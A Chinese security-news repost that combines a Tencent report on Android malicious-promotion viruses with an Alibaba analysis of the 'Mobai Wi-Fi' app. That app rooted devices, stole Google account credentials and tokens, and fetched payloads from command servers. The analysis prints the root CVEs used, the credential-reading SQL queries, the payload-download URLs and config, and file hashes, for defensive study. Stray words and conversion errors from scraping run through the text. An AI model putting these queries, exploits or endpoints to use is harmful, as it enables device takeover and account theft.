擁有300萬安裝量的應用是如何惡意推廣刷榜的?

https://mp.weixin.qq.com/s?__biz=MjM5MzUzMTY3MQ==&mid=2658139256&idx=1&sn=4876e769af35526fc6ef6fb58bb22f22&scene=1&srcid=0720Tm4I7ERooHgzL3OgIvME&key=77421cf58af4a65313aef801589d276d7b9416b512b10ea29ccff80c9b71e0aafc554bb75e60c464df9f25240f7ebd89&ascene=0&uin=MjM1NzQyMjU4MA%3D%3D&devicetype=iMac+MacBookPro11%2C3+OSX+OSX+10.9.5+build(13F1134)&version=11020201&pass_ticket=%2FfA%2BPUnYAKluvKlMoWgFeJ98fET9NHJ4aEWibLcCNXMupsXriAiLoMHsKhy6Z2cZphp

 

延伸閱讀:工具類app成惡意廣告推廣重災區linux

 

移動互聯網的快速發展,造就了手機病毒、惡意程度的泛濫。據騰訊移動安全實驗室日前發佈的報告顯示,經常使用App、手機遊戲成爲惡意推廣類病毒的重要渠道。在病毒流竄方式愈加趨於多元化的背後,顯現出來的是一條巨大的黑色利益鏈。android

 

經常使用App、手遊成重災區git

 

目前,手機必備工具App和手機遊戲成爲惡意推廣類病毒的重要渠道。近日,基於騰訊手機管家服務的騰訊移動安全實驗室發佈報告顯示,7月共截獲病毒包94029個,其中,Android系統就佔到90989個。github

 

在今年7月截獲的感染用戶TOP10的惡意推廣類病毒中,排名前十大病毒感染用戶總數達135.79萬,排名第一的惡意推廣類病毒爲a.expense.newginger,感染用戶達到47.6萬,是2013年7月感染手機用戶最多的手機病毒。sql

 

該病毒的特徵是運行後下載惡意代碼,同時獲取用戶的手機設備信息。手電筒、打火機3D、會說話的湯姆貓等知名軟件紛紛被其二次打包篡改,給衆多知名遊戲軟件形成品牌傷害,同時給用戶形成嚴重資費消耗和隱私泄露的雙重危害。json

 

此外,另外一個較爲明顯的病毒a.expense.comtous(手電推鬼)則感染了手電筒這款系統必備應用,該病毒本質上是一款惡意廣告插件,安裝後會匿名推送廣告,誘導用戶點擊下載軟件包,與此同時,惡意下載的行爲用戶沒法及時停止,耗費用戶流量,並形成嚴重的資費損失。api

 

除了經常使用App,手機遊戲也是惡意推廣類病毒打包篡改的重災區。Android平臺出現的a.expense.mixcode(惡推毒手)病毒是典型的新型惡意推廣類病毒,熱門遊戲「地鐵跑酷」不幸被該病毒二次打包篡改。除「地鐵跑酷」以外,包括黃金礦工、超級瑪麗旗艦版、3D坦克英雄等178款熱門遊戲和軟件被感染,給6.7萬用戶形成影響。xcode

 

安卓系統嚴重告急安全

 

除了惡意推廣類病毒橫行外,7月最爲關注的事件要屬Android操做系統的重大安全漏洞曝光事件。

 

前不久,國家互聯網應急中心發佈信息,Android操做系統存在一個簽名驗證繞過的高危漏洞,即Master key漏洞,全球99%的Android設備都有感染風險。這成爲今年重大的系統漏洞安全事件。

 

據瞭解,利用該簽名漏洞即Master key漏洞的扣費木馬進一步氾濫,可寄生於正常App中,而且發如今缺少監管的某電子市場中存在6644個正版App被植入木馬程序。在騰訊移動安全實驗室針對該簽名漏洞感染的知名App進行查殺統計顯示,找你妹、導航犬、百合網、天翼寬帶等大量知名軟件紛紛被感染。目前,騰訊手機管家4.2新版迅速升級了全新的查殺引擎,已針對利用該漏洞的扣費木馬(命名爲「冒牌天煞」)實現了全面查殺。

 

據騰訊移動安全實驗室相關人士透露,在正常狀況下,每一個安卓應用程序都會有一個數字簽名,來保證應用程序在發行過程當中不被篡改。但目前黑客能夠在不破壞正常App程序和簽名證書的狀況下,向正常App中植入惡意程序,並利用正常App的簽名證書逃避Android系統簽名驗證。

 

針對正常APK安裝包中的兩個重要文件,「冒牌天煞」病毒製做者能夠構造同包名的惡意代碼文件,使得應用程序既可經過Android系統的驗證,又會啓動其中同名的惡意代碼文件來達到扣費、竊取用戶隱私等目的。

 

利益鏈條推進病毒爆發

 

目前,惡意推廣類病毒消耗用戶流量的方式已經變得十分智能化與多元化,「免費的App+植入廣告」已成病毒開發者慣用的斂財手段。

 

據悉,在缺少監管的電子市場、手機論壇等渠道正在不斷涌現大量內嵌「惡意廣告插件和私自下載軟件」代碼的「盜版應用」,這些盜版應用假裝成熱門軟件誘騙用戶下載安裝,而後在用戶手機通知欄彈出廣告等消耗流量,嚴重損害用戶利益。

 

騰訊移動安全實驗室分析,目前在手機App產業鏈之中,大部分的App開發者面臨盈利困境,截至目前,廣告幾乎依然是App盈利收入的最主要來源,App開發者與廣告商創建合做協議,在App頁面邊框或者BANNER位或者在特定的產品功能模塊引入廣告信息等屬於合法的廣告投入。但惡意推廣類病毒經過私自彈廣告、偷偷下載等形式明顯違背正版App開發者與手機用戶的意願並侵犯了他們的利益。

 

衆所周知,在正常的移動App廣告推廣的產業鏈條當中,App開發者、廣告聯盟或網盟推廣、廣告商成爲比較關鍵的三個利益環節。

 

病毒製做者卻變相利用了廣告聯盟的軟件推廣、廣告點擊的分紅利益機制,經過針對知名App二次打包篡改,植入惡意廣告插件或惡意推廣類病毒代碼,偷偷在後臺私自下載惡意推廣軟件包或者強行顯示廣告,經過這種方式,按照每一個用戶被推廣的軟件來計費,也能從廣告聯盟平臺非法獲取推廣費用。

 

此外,部分不法廣告商也會與手機病毒製做者或者打包黨合做,在正版軟件中植入廣告插件或者惡意代碼並從新打包、上傳,經過各類形式彈出廣告,消耗流量,危害衆多手機用戶。

 

專家建議

 

如何防範手機惡意推廣類病毒

 

A.選擇正規下載渠道

 

建議用戶在下載App時選擇官方網站或主流大型的應用商店。另外,用戶還可選擇短信名址,用戶發送要下載的應用名稱以短信的形式發送至12114(工信部電信研究院設立的軟件安全下載通道)。

 

B. 安裝前詳細閱讀權限申請

 

在下載安卓軟件到安裝前,建議用戶詳細閱讀「權限申請」。如手電筒下載時,卻要求獲取通信錄號碼或地理位置,此類狀況下用戶尤爲應該提升警覺。

 

C.藉助主流安全軟件監控

 

建議安卓手機用戶安裝主流安全軟件,開啓對軟件的實時監控和病毒查殺。(做者: 北京商報)

 

背景:

隨着移動端應用市場數量爆炸式增加,App推廣和曝光率也愈來愈難。哪裏有需求哪裏就有生財之道,天然,App刷榜也就造成了一條產業鏈,它可以在短時間內大幅提升下載量和用戶量,進而提升應用的曝光率。

近期,阿里移動安全發現一款名叫「魔百Wi-Fi」應用,該應用官方的一個版本捆綁了多個病毒,目的是對GooglePlay    商店應用刷榜和刷大量未知應用安裝量。

該病毒在該設備鎖屏時對設備root,root成功後向系統目錄植入「刷榜殭屍」病毒,「刷榜殭屍」對指定應用在        GooglePlay商店上惡意刷量,同時還會誘騙用戶安裝「下載者」病毒,「下載者」病毒會在設備屏幕亮起狀態會彈出廣告頁面,若用戶觸碰廣告頁面推廣的應用將會自動安裝運行。該病毒技術至關成熟,root            提權使用最高廣的漏洞(CVE-2014-3153 TOAWELROOT、CVE-2015-3636 PINGPONG和PUTUSER                等),2015年10月以前的設備所有受影響。咱們對惡意應用的證書對比,驚人的發現並不是被重打包!

「魔百Wi-Fi」在2015年底首次發佈,向用戶打着安全Wi-Fi    旗號,短短半年用戶安裝量已高達300萬。咱們發現它具有專業的應用推廣團隊,目前已在國內知名渠道發佈多篇宣傳文章,並與國內多家應用商店合做,下圖是」魔百Wifi」        前不久的一篇文章,文中還提到「截至目前,魔百WiFi擁有超過2億的國內外熱點,已覆蓋商場、酒店,熱點全線接入」。

 

圖1

「魔百Wifi」目前最新版本爲2.3.18。根據應用證書md5(5919ee638614c467152ab4d07c9cc2dc)    排查,發現版本2.3.5~2.3.10被官方插入了惡意代碼。值得注意的是,官方發佈的2.3.8        版本打了兩個不一樣的包,一個增長root提權向系統目錄植入「刷榜殭屍」,另一個包和2.3.10版本應用都捆綁了「下載者」病毒。捆綁了「刷榜殭屍」和「下載者」的「魔百            Wifi」,利用自身的用戶量對應用刷榜和安裝,進而非法牟利。如下是對「魔百Wi-Fi」2.3.8帶                root包的應用分析。

1、主包分析:

該病毒捆綁了多個子包,如下是各個模塊關係圖:

 

圖2

 

1. 解密assets目錄下sdk.data、__image    數據,解密後sdk.data是一個目錄,目錄下包括MainJson.txt、dexhostinjection.jar        、libDaemonProcess.so, __image是apk文件;

2. 喚起PushDexService、PushJobService完成dexhostinjection.jar    加載,以及執行dexhostinjection.jar的com.hostinjectiondex.external.ExternalInterfaces類的startExternalBody        方法,子包下載「下載者」病毒update,並誘導用戶安裝。

3. 開啓後臺服務利用libgodlikelib.so進行root提權,提權成功將libgodlikelib.so    提權工具庫寫入系統庫文件;__image解密的apk文件植入系統目錄,取名AndroidDaemonFrame.apk        便是「刷榜殭屍」病毒;

2、root提權

該樣本是基於開源的RUN_ROOT_SHELL    改寫而成,能夠對2015年10月份以前的所有設備root    ,主要利用瞭如下漏洞進行提權:

(1) CVE-2012-4220

影響設備:Android2.3~4.2

使用的QualcommInnovation Center(QuIC)Diagnostics內核模式驅動程序diagchar_core.c在實現上存在整數溢出漏洞    ,經過向diagchar_ioctl內傳遞特製的輸入,遠程攻擊者可利用此漏洞執行任意代碼或形成拒絕服務。

(2) /dev/graphics/fb0

fb0設備mmap漏洞(觸發參數FBIOGET_FSCREENINFO)

(3) /dev/hdcp

hdcp設備mmap漏洞

(4) CVE-2013-6282

影響版本:linux kernel3.2.一、Linux kernel3.2.二、Linux kernel3.2.13

Linux kernel對ARM上的get_user/put_user缺乏訪問權限檢查,本地攻擊者可利用此漏洞讀寫內核內存,獲取權限提高。

(5) /dev/msm_acdb

高通設備漏洞

(6) CVE-2013-2595

/dev/msm_camera/config0高通設備MMAP漏洞。

(7) CVE-2013-2094

影響版本:linux kernel3.8.9以前開啓了PERF_EVENT的設備

利用該漏洞,經過perf_event_open系統調用,本地用戶能夠得到系統的最高權限。

(8) CVE-2015-3636

影響設備:2015年9月份以前的設備

pingpong該漏洞是Linux kernel的ping套接字上存在的一個Use-After-Free    漏洞。

(9) CVE-2014-3153

影響設備:2014年6月之前的設備

漏洞利用了futex_requeue、futex_lock_pi、futex_wait_requeue_pi    三個函數存在的RELOCK漏洞和REQUEUE漏洞,形成了對內核棧上的數據修改。

 

對設備成功提權後,會將解密的__image植入/system/priv-app目錄並命名爲AndroidDaemonFrame.apk    ,將libgodlikelib.so提權工具庫植入/system/lib目錄。下圖提權並向系統目錄植入惡意文件。

 

圖3

3、AndroidDaemonFrame.apk「刷榜殭屍」分析

AndroidDaemonFrame應用是主包解密後植入到系統目錄的應用,該應用是一款轉用於惡意刷榜的病毒,利用用戶設備帳戶信息做爲刷榜殭屍,完成對C&C控制端指定應用的惡意刷榜。「刷榜殭屍」工做流程以下:

圖4

 

1.「刷榜殭屍」C&C控制端配置keywords和package_name。

2.「刷榜殭屍」向googleplay發起認證,經過獲取的設備googleplay帳號和密碼,或authtoken。

3. 模擬googleplay協議對目標應用搜索、瀏覽和下載。

刷榜殭屍病毒在設備啓動、屏幕解鎖和網絡改變觸發BootReceiver組件執行,隨後啓動核心服務DispatcherService,該服務建立updateTask和googlePlayTask定時任務。

圖5

定時任務googlePlayTask

 

googlePlayTask每3小時執行一次,對配置文件裏的keywords    和package_name指定的應用從GooglePlay爬取。下圖root提權重定向設備帳戶文件。

圖6

 

 

病毒經過GooglePlay驗證有兩種方式,一使用authtoken    ,全稱authentication token,有了它病毒無須每次操做都向google服務器發送密碼,         執行語句:sql.rawQuery(「select type,authtoken from authtokens where type like \’com.android.vending%\’ and accounts_id=」+ accounts_id, null);二是獲取            google帳戶name、password                和_id值。執行語句:sql.rawQuery(「select * from accounts where type = ?」, new String []{「com.google」})                    。以下圖。

 

圖7

 

成功與google play服務器鏈接後,經過配置文件提供的keywords和package_name完成應用搜索、瀏覽和下載

圖8

 

當前配置文件以下圖,發現病毒正在對package_name是com.felink.shine的應用刷量。

圖9

 

病毒徹底模擬google play下載協議,包括設置cookie(AndroidId + authToken)、User-agent(AndroidDownloadManager)等,GooglePlay應用下載請求流程大體以下圖(https://github.com/egirault/googleplay-api/issues/30):

 

圖10

 

 

 

「刷榜殭屍」病毒的GooglePlayRequester工具類模擬了以上過程,實現google play商店應用下載。

 

4、子包dexhostinjection.jar

 

子包dexhostinjection.jar由assets目錄下sdk_data文件解密獲得,完成了如下幾個功能:

 

4.1 服務保活

 

解析主包傳遞的000(m_pkgname)、001(m_class_name)、002(m_sdk_data)、003(libDaemonProcess)、004(1.apk)參數,利用libDaemonProcess庫服務保活,在底層執行am startservice啓動主包傳遞的service,也就是主包中的com.hostinjectionmain.control.DexService。以下圖。

 

 

圖11

 

4.2 下載「下載者」病毒

 

主包004參數傳遞的應用名,並拷貝到設備sdcard/database目錄命名爲5supdate.apk,同時配置「下載者」病毒相關文件,存放目錄在sdcard/database目錄下。包括actiondown記錄包名以及啓動服務名、actionsuk應用最近一次運行時間、install.ab服務器推廣應用安裝狀況、mychannel應用渠道,這些文件數據所有都AES加密存放。Actiondown記錄下載者病毒包名以及入口服務。

 

actiondown:{「downLoadPackageName」:」com.android.ucgmap」,」downLoadVersionKey」:1,」downLoadStartMethod」:」com.android.ucgmap\/com.android.ucgmap.AimService」}

 

4.3 誘騙用戶安裝,並啓動「下載者」病毒

 

子包動態註冊監聽android.intent.action.PACKAGE_ADDED、android.intent.action.USER_PRESENT消息廣播。處理包安裝完畢消息,若這次安裝包名是actiondown裏downLoadPackageName字段記錄的「下載者」病毒,讀取downLoadStartMethod字段啓動「下載者」。

 

 

圖12

 

 

 

使用兩種策略誘騙用戶安裝「下載者」病毒(其應用名爲update),一默認模式以應用更新誘騙用戶點擊安裝;二由服務器設置,彈出系統更新誘騙用戶點擊安裝。

 

 

圖13

 

4.4 子包自更新

 

子包的鏈接並非直接暴露的,而是作了兩層跳板。配置下一跳轉訪問地址http://dispatch.smartchoiceads.com/v2.1/2000,參數設備aid、imsi、gaid、mac(wifi),request和response數據所有AES加密。服務端會根據上傳的設備信息返回次設備對應的url地址,隨後設備會使用該地址下載服務端推廣的應用。            下圖訪問url_1(http://dispatch.smartchoiceads.com/v2.1/2000)返回加密的數據,經AES解密提取data值獲取當前設備的對應訪問的服務器地址url_2。        

 

 

圖14

 

 

 

解密後的數據爲:{「upstream」:」http:\/\/sdk.smartchoiceads.com」},這樣獲取了下一跳板的地址。 訪問跳板地址,下載、加載和運行最新版子包。 訪問服務器配置的url_2,服務器一樣返回AES加密數據,解密後的數據以下:

 

{「solib_name」:」libDaemonProcess.so」,」download_url」:」http:\/\/u.smartchoiceads.com\/sdk\/HostDex_20160623163035.jar」,」classname」:「com.hostinjectiondex.external.ExternalInterfaces」,」filename」:            「dexhostinjection.jar」,」start_method」:「startExternalBody」,」solib_url」:」http:\/\/u.smartchoiceads.com\/sdk\/libDaemonProcess_20160520175142.so」,」stop_method」:「stopExternalBody」,」request_interval」:」1800″,」version」:」8″}。

 

根據解密獲取的字段,下載新版本的dexhostinjection.jar包,以及lib庫,目前服務器最新版本dexhostinjection_8.jar。子包經過向主包的DexService發送com.injection.action.RELOAD_DEX消息意圖,完成子包更新加載。

 

 

圖15

 

5、「下載者」分析

 

子包dexhostinject.jar下載的5supdate.apk存放位置在sdcard/database目錄下,既是「下載者」病毒安裝包,經過應用更新或系統更新誘騙用戶安裝,安裝後dexhostinject.jar啓動「下載者」導出服務AimService。「下載者」病毒工做流程圖以下:

 

 

圖16

 

5.1 ChatActivity組件,強制激活設備管理

 

dexhostinject.jar啓動應用的參數會喚起ChatActivity組件運行。ChatActivity進行設備管理激活,一旦用戶激活設備管理,應用將很難被卸載。用戶在取消截獲設備管理時,AdminReciver會進行鎖屏操做並跳轉到桌面。

 

 

圖17

 

5.2 組件AimService

 

1. 加載target.jar子包,保護「下載者」核心服務AimService不死

 

2. 啓動ApsService,組件ApsService是雲端推送服務,註冊時鐘廣播每10分鐘發送廣播轉交給ApsAdReceiver處理

 

 

圖18

 

3. onStartCommand處理消息意圖,包括:

 

    a)com.injection.action.RELOAD_DEX,更新target.jar子包;

 

    b)com.injection.action.stopJobService,中止JobScheduler並進程自殺;

 

    c)-a com.android.startadmin –es isadmin true,喚起ChatActivity組件,進行激活設備管理。該意圖消息是dexhostinject.jar發送給AimService的。

 

5.3「下載者」應用推送分析

 

應用下載、安裝和啓動由ApsService和ApsAdReceiver聯合完成。當update            應用處於後臺運行,而且屏幕處於亮起狀態,「下載者」向C&C服務器發起請求,下圖訪問C&C控制。

 

 

 

圖19

 

 

 

「下載者」病毒會每隔10分鐘訪問http://www.gamecpi.com/tapcash/com.android.ucgmap/control.json,返回數據結構以下。

 

 

{

  "isOpened":true,

  "isOpenHideNativeAd":true,

  "fid":"",

  "fnid":"558734714274962_641985812616518",

  "aid":"ca-app-pub-2499265864844132/2514086206",

  "bnid":660078,

  "solaid":5011,

  "soltid":1000171,

  "ad_interval":10,

  "no_ad_start":0,

  "no_ad_end":6

}

 

該數據結構信息是當前推廣應用的信息,隨後經過消息handler轉交給startAdWork函數處理。

 

 

圖20

 

 

 

每隔120分鐘請求控制端下載推廣應用,http://www.gamescpa.com/SDKManager/cpa/downloadlink.php?country=cn&packageName=com.android.ucgmap,C&C控制端返回推送的應用信息,包括packgae(應用包名)、url(應用下載連接)、size(應用大小),返回數據轉交給消息handler處理,進行應用下載安裝。

 

 

圖21

 

 

 

再配合以前註冊的時鐘廣播ApsAdReceiver,完美完成推廣應用啓動。

 

 

圖22

 

6、 病毒sha1:

     01b3e575791642278b7decf70f5783ecd638564d

      5900fabbe36e71933b3c739ec62ba89ac15f5453

      7ebdd80761813da708bad3325b098dac9fa6e4f5

      ea781498268ced8dbb892d02aeaad23f4b87a510

      44e81be6f7242be77582671d6a11de7e33d19aca

      34b7b38ce1ccdd899ae14b15dd83241584cee32b

      74a55e9ea67d5baf90c1ad231e02f6183195e564

      4e5af777fe28f450a670e789b23fb3669dc6e6b6

      d59f97297de38db7f85349c9486413e914ff35b5

      b219db613284a3dd0e87edea67da744be59e7732

      9b9109ecfa38d9664084a513392ffc3f41349f02

      2b1da376212e63cb25a19900642c4bbca6e49c01

      18d9546193a354aec0c76d141dd66fbf99181bad

      63c20ee3c1e1b39921d2b3d86aade39de738ea9b

      5d2a08d7c1f665ea3affa7f9607601ffae387e8b

      70105591ea9f2b42534062278f31dbf9788575b3

      34b7b38ce1ccdd899ae14b15dd83241584cee32b

      78e9c7e0510b0c28abf28dd46910ab14c56ab4df

      88745ecb3114fc0539ca05db388e1c77d3e76109

      885fe0dca39d0fe281aad78cbce2fb73f27f3aea

      50bdc0195ed3c6f9909e62d4926f26d312cc39fa

 

7、總結

 

該病毒應用經過版本更新,進行惡意版本下發,在完成「刷榜殭屍」和「下載者」病毒後又利用版本更新替換成線上安全版本,如此在各大應用市場上期存活。阿里移動安全建議,用戶下載此類App請認準大廠商品牌應用;謹慎點擊軟件內的推送廣告;來源不明的應用不要隨意點擊;請按期使用阿里錢盾等手機安全軟件查殺病毒。

相關文章
相關標籤/搜索